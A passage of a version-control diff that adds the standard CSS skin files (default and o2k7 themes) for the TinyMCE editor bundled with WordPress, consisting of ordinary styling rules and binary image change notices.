0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/buttons.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/buttons.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/items.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/items.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/img/tabs.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/default/img/tabs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/default/ui.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,214 @@ +/* Reset */ +.defaultSkin table, .defaultSkin tbody, .defaultSkin a, .defaultSkin img, .defaultSkin tr, .defaultSkin div, .defaultSkin td, .defaultSkin iframe, .defaultSkin span, .defaultSkin *, .defaultSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} +.defaultSkin a:hover, .defaultSkin a:link, .defaultSkin a:visited, .defaultSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} +.defaultSkin table td {vertical-align:middle} + +/* Containers */ +.defaultSkin table {background:#F0F0EE} +.defaultSkin iframe {display:block; background:#FFF} +.defaultSkin .mceToolbar {height:26px} +.defaultSkin .mceLeft {text-align:left} +.defaultSkin .mceRight {text-align:right} + +/* External */ +.defaultSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;} +.defaultSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.defaultSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} + +/* Layout */ +.defaultSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC} +.defaultSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC} +.defaultSkin table.mceToolbar, .defaultSkin tr.mceFirst .mceToolbar tr td, .defaultSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} +.defaultSkin td.mceToolbar {padding-top:1px; vertical-align:top} +.defaultSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC} +.defaultSkin .mceStatusbar {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} +.defaultSkin .mceStatusbar div {float:left; margin:2px} +.defaultSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize} +.defaultSkin .mceStatusbar a:hover {text-decoration:underline} +.defaultSkin table.mceToolbar {margin-left:3px} +.defaultSkin span.mceIcon, .defaultSkin img.mceIcon {display:block; width:20px; height:20px} +.defaultSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} +.defaultSkin td.mceCenter {text-align:center;} +.defaultSkin td.mceCenter table {margin:0 auto; text-align:left;} +.defaultSkin td.mceRight table {margin:0 0 0 auto;} + +/* Button */ +.defaultSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} +.defaultSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} +.defaultSkin a.mceButtonActive, .defaultSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceButtonLabeled {width:auto} +.defaultSkin .mceButtonLabeled span.mceIcon {float:left} +.defaultSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} +.defaultSkin .mceButtonDisabled .mceButtonLabel {color:#888} + +/* Separator */ +.defaultSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} + +/* ListBox */ +.defaultSkin .mceListBox {direction:ltr} +.defaultSkin .mceListBox, .defaultSkin .mceListBox a {display:block} +.defaultSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} +.defaultSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;} +.defaultSkin table.mceListBoxEnabled:hover .mceText, .defaultSkin .mceListBoxHover .mceText, .defaultSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} +.defaultSkin table.mceListBoxEnabled:hover .mceOpen, .defaultSkin .mceListBoxHover .mceOpen, .defaultSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} +.defaultSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} +.defaultSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} +.defaultSkin .mceOldBoxModel .mceListBox .mceText {height:22px} +.defaultSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} +.defaultSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} + +/* SplitButton */ +.defaultSkin .mceSplitButton {width:32px; height:20px; direction:ltr} +.defaultSkin .mceSplitButton a, .defaultSkin .mceSplitButton span {height:20px; display:block} +.defaultSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} +.defaultSkin .mceSplitButton span.mceAction {width:20px; background:url(../../img/icons.gif) 20px 20px;} +.defaultSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} +.defaultSkin .mceSplitButton span.mceOpen {display:none} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceAction, .defaultSkin .mceSplitButtonHover a.mceAction, .defaultSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} +.defaultSkin table.mceSplitButtonEnabled:hover a.mceOpen, .defaultSkin .mceSplitButtonHover a.mceOpen, .defaultSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} +.defaultSkin .mceSplitButtonDisabled .mceAction, .defaultSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.defaultSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} +.defaultSkin .mceSplitButtonActive a.mceOpen {border-left:0;} + +/* ColorSplitButton */ +.defaultSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} +.defaultSkin .mceColorSplitMenu td {padding:2px} +.defaultSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} +.defaultSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.defaultSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.defaultSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} +.defaultSkin a.mceMoreColors:hover {border:1px solid #0A246A} +.defaultSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} +.defaultSkin .mce_forecolor span.mceAction, .defaultSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} + +/* Menu */ +.defaultSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} +.defaultSkin .mceNoIcons span.mceIcon {width:0;} +.defaultSkin .mceNoIcons a .mceText {padding-left:10px} +.defaultSkin .mceMenu table {background:#FFF} +.defaultSkin .mceMenu a, .defaultSkin .mceMenu span, .defaultSkin .mceMenu {display:block} +.defaultSkin .mceMenu td {height:20px} +.defaultSkin .mceMenu a {position:relative;padding:3px 0 4px 0} +.defaultSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} +.defaultSkin .mceMenu span.mceText, .defaultSkin .mceMenu .mcePreview {font-size:11px} +.defaultSkin .mceMenu pre.mceText {font-family:Monospace} +.defaultSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} +.defaultSkin .mceMenu .mceMenuItemEnabled a:hover, .defaultSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} +.defaultSkin td.mceMenuItemSeparator {background:#DDD; height:1px} +.defaultSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} +.defaultSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} +.defaultSkin .mceMenuItemDisabled .mceText {color:#888} +.defaultSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} +.defaultSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} +.defaultSkin .mceMenu span.mceMenuLine {display:none} +.defaultSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} + +/* Progress,Resize */ +.defaultSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} +.defaultSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} +.defaultSkin .mcePlaceHolder {border:1px dotted gray} + +/* Formats */ +.defaultSkin .mce_formatPreview a {font-size:10px} +.defaultSkin .mce_p span.mceText {} +.defaultSkin .mce_address span.mceText {font-style:italic} +.defaultSkin .mce_pre span.mceText {font-family:monospace} +.defaultSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.defaultSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.defaultSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.defaultSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.defaultSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.defaultSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} + +/* Theme */ +.defaultSkin span.mce_bold {background-position:0 0} +.defaultSkin span.mce_italic {background-position:-60px 0} +.defaultSkin span.mce_underline {background-position:-140px 0} +.defaultSkin span.mce_strikethrough {background-position:-120px 0} +.defaultSkin span.mce_undo {background-position:-160px 0} +.defaultSkin span.mce_redo {background-position:-100px 0} +.defaultSkin span.mce_cleanup {background-position:-40px 0} +.defaultSkin span.mce_bullist {background-position:-20px 0} +.defaultSkin span.mce_numlist {background-position:-80px 0} +.defaultSkin span.mce_justifyleft {background-position:-460px 0} +.defaultSkin span.mce_justifyright {background-position:-480px 0} +.defaultSkin span.mce_justifycenter {background-position:-420px 0} +.defaultSkin span.mce_justifyfull {background-position:-440px 0} +.defaultSkin span.mce_anchor {background-position:-200px 0} +.defaultSkin span.mce_indent {background-position:-400px 0} +.defaultSkin span.mce_outdent {background-position:-540px 0} +.defaultSkin span.mce_link {background-position:-500px 0} +.defaultSkin span.mce_unlink {background-position:-640px 0} +.defaultSkin span.mce_sub {background-position:-600px 0} +.defaultSkin span.mce_sup {background-position:-620px 0} +.defaultSkin span.mce_removeformat {background-position:-580px 0} +.defaultSkin span.mce_newdocument {background-position:-520px 0} +.defaultSkin span.mce_image {background-position:-380px 0} +.defaultSkin span.mce_help {background-position:-340px 0} +.defaultSkin span.mce_code {background-position:-260px 0} +.defaultSkin span.mce_hr {background-position:-360px 0} +.defaultSkin span.mce_visualaid {background-position:-660px 0} +.defaultSkin span.mce_charmap {background-position:-240px 0} +.defaultSkin span.mce_paste {background-position:-560px 0} +.defaultSkin span.mce_copy {background-position:-700px 0} +.defaultSkin span.mce_cut {background-position:-680px 0} +.defaultSkin span.mce_blockquote {background-position:-220px 0} +.defaultSkin .mce_forecolor span.mceAction {background-position:-720px 0} +.defaultSkin .mce_backcolor span.mceAction {background-position:-760px 0} +.defaultSkin span.mce_forecolorpicker {background-position:-720px 0} +.defaultSkin span.mce_backcolorpicker {background-position:-760px 0} + +/* Plugins */ +.defaultSkin span.mce_advhr {background-position:-0px -20px} +.defaultSkin span.mce_ltr {background-position:-20px -20px} +.defaultSkin span.mce_rtl {background-position:-40px -20px} +.defaultSkin span.mce_emotions {background-position:-60px -20px} +.defaultSkin span.mce_fullpage {background-position:-80px -20px} +.defaultSkin span.mce_fullscreen {background-position:-100px -20px} +.defaultSkin span.mce_iespell {background-position:-120px -20px} +.defaultSkin span.mce_insertdate {background-position:-140px -20px} +.defaultSkin span.mce_inserttime {background-position:-160px -20px} +.defaultSkin span.mce_absolute {background-position:-180px -20px} +.defaultSkin span.mce_backward {background-position:-200px -20px} +.defaultSkin span.mce_forward {background-position:-220px -20px} +.defaultSkin span.mce_insert_layer {background-position:-240px -20px} +.defaultSkin span.mce_insertlayer {background-position:-260px -20px} +.defaultSkin span.mce_movebackward {background-position:-280px -20px} +.defaultSkin span.mce_moveforward {background-position:-300px -20px} +.defaultSkin span.mce_media {background-position:-320px -20px} +.defaultSkin span.mce_nonbreaking {background-position:-340px -20px} +.defaultSkin span.mce_pastetext {background-position:-360px -20px} +.defaultSkin span.mce_pasteword {background-position:-380px -20px} +.defaultSkin span.mce_selectall {background-position:-400px -20px} +.defaultSkin span.mce_preview {background-position:-420px -20px} +.defaultSkin span.mce_print {background-position:-440px -20px} +.defaultSkin span.mce_cancel {background-position:-460px -20px} +.defaultSkin span.mce_save {background-position:-480px -20px} +.defaultSkin span.mce_replace {background-position:-500px -20px} +.defaultSkin span.mce_search {background-position:-520px -20px} +.defaultSkin span.mce_styleprops {background-position:-560px -20px} +.defaultSkin span.mce_table {background-position:-580px -20px} +.defaultSkin span.mce_cell_props {background-position:-600px -20px} +.defaultSkin span.mce_delete_table {background-position:-620px -20px} +.defaultSkin span.mce_delete_col {background-position:-640px -20px} +.defaultSkin span.mce_delete_row {background-position:-660px -20px} +.defaultSkin span.mce_col_after {background-position:-680px -20px} +.defaultSkin span.mce_col_before {background-position:-700px -20px} +.defaultSkin span.mce_row_after {background-position:-720px -20px} +.defaultSkin span.mce_row_before {background-position:-740px -20px} +.defaultSkin span.mce_merge_cells {background-position:-760px -20px} +.defaultSkin span.mce_table_props {background-position:-980px -20px} +.defaultSkin span.mce_row_props {background-position:-780px -20px} +.defaultSkin span.mce_split_cells {background-position:-800px -20px} +.defaultSkin span.mce_template {background-position:-820px -20px} +.defaultSkin span.mce_visualchars {background-position:-840px -20px} +.defaultSkin span.mce_abbr {background-position:-860px -20px} +.defaultSkin span.mce_acronym {background-position:-880px -20px} +.defaultSkin span.mce_attribs {background-position:-900px -20px} +.defaultSkin span.mce_cite {background-position:-920px -20px} +.defaultSkin span.mce_del {background-position:-940px -20px} +.defaultSkin span.mce_ins {background-position:-960px -20px} +.defaultSkin span.mce_pagebreak {background-position:0 -40px} +.defaultSkin .mce_spellchecker span.mceAction {background-position:-540px -20px} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(../default/img/items.gif) no-repeat bottom left;} +img.mceItemAnchor {width:12px; height:12px; background:url(../default/img/items.gif) no-repeat;} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help} + +/* IE */ +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/dialog.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/dialog.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,115 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDDDDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +background:#F0F0EE; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #CCC;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +border:0; margin:0; padding:0; +font-weight:bold; +width:94px; height:26px; +background:url(../default/img/buttons.png) 0 -26px; +cursor:pointer; +padding-bottom:2px; +} + +#insert {background:url(../default/img/buttons.png) 0 -52px;} +#cancel {background:url(../default/img/buttons.png) 0 0;} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(../default/img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(../default/img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(../default/img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(../default/img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(../default/img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg_black.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg_black.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg_silver.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/img/button_bg_silver.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,215 @@ +/* Reset */ +.o2k7Skin table, .o2k7Skin tbody, .o2k7Skin a, .o2k7Skin img, .o2k7Skin tr, .o2k7Skin div, .o2k7Skin td, .o2k7Skin iframe, .o2k7Skin span, .o2k7Skin *, .o2k7Skin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} +.o2k7Skin a:hover, .o2k7Skin a:link, .o2k7Skin a:visited, .o2k7Skin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} +.o2k7Skin table td {vertical-align:middle} + +/* Containers */ +.o2k7Skin table {background:#E5EFFD} +.o2k7Skin iframe {display:block; background:#FFF} +.o2k7Skin .mceToolbar {height:26px} + +/* External */ +.o2k7Skin .mceExternalToolbar {position:absolute; border:1px solid #ABC6DD; border-bottom:0; display:none} +.o2k7Skin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.o2k7Skin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} + +/* Layout */ +.o2k7Skin table.mceLayout {border:0; border-left:1px solid #ABC6DD; border-right:1px solid #ABC6DD} +.o2k7Skin table.mceLayout tr.mceFirst td {border-top:1px solid #ABC6DD} +.o2k7Skin table.mceLayout tr.mceLast td {border-bottom:1px solid #ABC6DD} +.o2k7Skin table.mceToolbar, .o2k7Skin tr.mceFirst .mceToolbar tr td, .o2k7Skin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0} +.o2k7Skin .mceIframeContainer {border-top:1px solid #ABC6DD; border-bottom:1px solid #ABC6DD} +.o2k7Skin .mceStatusbar {display:block; font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; height:20px} +.o2k7Skin .mceStatusbar div {float:left; padding:2px} +.o2k7Skin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize} +.o2k7Skin .mceStatusbar a:hover {text-decoration:underline} +.o2k7Skin table.mceToolbar {margin-left:3px} +.o2k7Skin .mceToolbar .mceToolbarStart span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px; margin-left:3px;} +.o2k7Skin .mceToolbar td.mceFirst span {margin:0} +.o2k7Skin .mceToolbar .mceToolbarEnd span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px} +.o2k7Skin .mceToolbar .mceToolbarEndListBox span, .o2k7Skin .mceToolbar .mceToolbarStartListBox span {display:none} +.o2k7Skin span.mceIcon, .o2k7Skin img.mceIcon {display:block; width:20px; height:20px} +.o2k7Skin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} +.o2k7Skin td.mceCenter {text-align:center;} +.o2k7Skin td.mceCenter table {margin:0 auto; text-align:left;} +.o2k7Skin td.mceRight table {margin:0 0 0 auto;} + +/* Button */ +.o2k7Skin .mceButton {display:block; background:url(img/button_bg.png); width:22px; height:22px} +.o2k7Skin a.mceButton span, .o2k7Skin a.mceButton img {margin-left:1px} +.o2k7Skin .mceOldBoxModel a.mceButton span, .o2k7Skin .mceOldBoxModel a.mceButton img {margin:0 0 0 1px} +.o2k7Skin a.mceButtonEnabled:hover {background-color:#B2BBD0; background-position:0 -22px} +.o2k7Skin a.mceButtonActive, .o2k7Skin a.mceButtonSelected {background-position:0 -44px} +.o2k7Skin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.o2k7Skin .mceButtonLabeled {width:auto} +.o2k7Skin .mceButtonLabeled span.mceIcon {float:left} +.o2k7Skin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} +.o2k7Skin .mceButtonDisabled .mceButtonLabel {color:#888} + +/* Separator */ +.o2k7Skin .mceSeparator {display:block; background:url(img/button_bg.png) -22px 0; width:5px; height:22px} + +/* ListBox */ +.o2k7Skin .mceListBox {margin-left:3px} +.o2k7Skin .mceListBox, .o2k7Skin .mceListBox a {display:block} +.o2k7Skin .mceListBox .mceText {padding-left:4px; text-align:left; width:70px; border:1px solid #b3c7e1; border-right:0; background:#eaf2fb; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} +.o2k7Skin .mceListBox .mceOpen {width:14px; height:22px; background:url(img/button_bg.png) -66px 0} +.o2k7Skin table.mceListBoxEnabled:hover .mceText, .o2k7Skin .mceListBoxHover .mceText, .o2k7Skin .mceListBoxSelected .mceText {background:#FFF} +.o2k7Skin table.mceListBoxEnabled:hover .mceOpen, .o2k7Skin .mceListBoxHover .mceOpen, .o2k7Skin .mceListBoxSelected .mceOpen {background-position:-66px -22px} +.o2k7Skin .mceListBoxDisabled .mceText {color:gray} +.o2k7Skin .mceListBoxMenu {overflow:auto; overflow-x:hidden} +.o2k7Skin .mceOldBoxModel .mceListBox .mceText {height:22px} +.o2k7Skin select.mceListBox {font-family:Tahoma,Verdana,Arial,Helvetica; font-size:12px; border:1px solid #b3c7e1; background:#FFF;} + +/* SplitButton */ +.o2k7Skin .mceSplitButton, .o2k7Skin 